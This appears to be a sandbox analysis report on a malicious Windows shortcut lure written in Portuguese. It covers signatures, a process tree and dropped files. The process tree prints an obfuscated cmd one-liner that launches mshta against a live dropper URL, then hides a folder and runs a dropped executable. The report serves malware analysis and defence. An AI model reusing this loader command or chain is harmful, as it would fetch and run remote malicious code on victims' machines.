Analysis

  • max time kernel
    10s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 12:42

General

  • Target
    Contrato_Indeniza_Brasil-X0Q6CJ.lnk
  • Size 1KB
  • Sample260803-pxmapaxhjg
  • SHA256 aa526d7d1aabfa3c1068ca9cc8319e3898b0725b39c99f1d12090059d00c7758
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 16 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-X0Q6CJ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3872
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /V:on /c "set eis=msh&&set Yj=ta&&start "" !eis!!Yj! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4676
      • C:\Windows\System32\mshta.exe
        mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
        3⤵
        • Badlisted process makes network request
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4360
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:1044
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:6056
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            PID:3536
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:1672
            • C:\Windows\System32\rundll32.exe
              "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:5572
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                5⤵
                  PID:3056
              • C:\Windows\System32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                4⤵
                • Modifies Internet Explorer settings
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:2276
                • C:\Windows\system32\rundll32.exe
                  C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                  5⤵
                  • Modifies registry class
                  PID:5328
              • C:\Windows\System32\attrib.exe
                "C:\Windows\System32\attrib.exe" +h +s "C:\vcmdpciv\"
                4⤵
                • Views/modifies file attributes
                PID:5876
              • C:\vcmdpciv\vcmdpciv.exe
                "C:\vcmdpciv\vcmdpciv.exe" C:\vcmdpciv\vcmdpciv
                4⤵
                  PID:808
                • C:\Windows\System32\rundll32.exe
                  "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                  4⤵
                    PID:5208
                    • C:\Windows\system32\rundll32.exe
                      C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                      5⤵
                        PID:5040
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                      4⤵
                      • Executes a command shell one-liner
                      • System Network Configuration Discovery: Internet Connection Discovery
                      PID:3572
                      • C:\Windows\System32\PING.EXE
                        ping -n 300 -w 1000 127.0.0.1
                        5⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:5840
                    • C:\Windows\System32\rundll32.exe
                      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                      4⤵
                        PID:4876
                        • C:\Windows\system32\rundll32.exe
                          C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                          5⤵
                            PID:4172
                        • C:\Windows\System32\rundll32.exe
                          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                          4⤵
                            PID:2068
                            • C:\Windows\system32\rundll32.exe
                              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                              5⤵
                                PID:4200

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            103621DE9CD5414CC2538780B4B75751

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                            • Size 808B
                            • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
                            • MD5 SHA1 SHA512 TLSH

                            1B1495DD322A24490E2BF2FAABAE1C61

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
                            • Size 355B
                            • SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
                            • MD5 SHA1 SHA512 TLSH

                            22D536C4B4AD2CEF7AC6B7789FD235E3

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                            • Size 283B
                            • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                            • MD5 SHA1 SHA512 TLSH

                            9DD9D8EB1173CB9DA0F6DAA87673F76F

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
                            • Size 35KB
                            • SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            103621DE9CD5414CC2538780B4B75751

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                            • Size 192B
                            • SHA256 4ba2113dcc4b0553e89354c5ba25884ac2c1edfb74c8e44705df799c43c5aa46
                            • MD5 SHA1 SHA512 TLSH

                            1B1495DD322A24490E2BF2FAABAE1C61

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
                            • Size 192B
                            • SHA256 6f662b9e29165434d8e524ee322dd01f5ad89724d07fb7f7a03203f1171abdc6
                            • MD5 SHA1 SHA512 TLSH

                            22D536C4B4AD2CEF7AC6B7789FD235E3

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                            • Size 192B
                            • SHA256 7c0e7f31b54cc50f6cecf00d551abc6bb9c72d4dc4360098366867777a2db81c
                            • MD5 SHA1 SHA512 TLSH

                            9DD9D8EB1173CB9DA0F6DAA87673F76F

                            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
                            • Size 246B
                            • SHA256 d33025291526868a4250b71a70c2dddabc165116f0d3e0d78e65c429b7520eb5
                            • MD5 SHA1 SHA512 TLSH

                            a1.zip

                            • Path C:\vcmdpciv\a1.zip
                            • Size 494KB
                            • SHA256 b0a60edd1ad80d86c5b135ae03e7a286be6e7f99353e7a8486d8d36d7f950ff8
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            a1.zip

                            • Path C:\vcmdpciv\a1.zip
                            • Size 494KB
                            • SHA256 d7c186181b6d8682a72ed88087d1692f5bee1933d0fba94fc7bdc3534846b133
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            a2.zip

                            • Path C:\vcmdpciv\a2.zip
                            • Size 1.3MB
                            • SHA256 9666ac18136423a5156bf70ce2b8c6ecff29ec1f7373eddac083d4b06af82173
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            a3.zip

                            • Path C:\vcmdpciv\a3.zip
                            • Size 2KB
                            • SHA256 e6cc303a8db74c857d1a12131a6797dd4bacbad23045d4cfe8ca01af77c83a34
                            • MD5 SHA1 SHA512 TLSH

                            vcmdpciv

                            • Path C:\vcmdpciv\vcmdpciv
                            • Size 1.3MB
                            • SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            vcmdpciv.exe

                            • Path C:\vcmdpciv\vcmdpciv.exe
                            • Size 957KB
                            • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/808-118-0x00000000069D0000-0x0000000006B97000-memory.dmp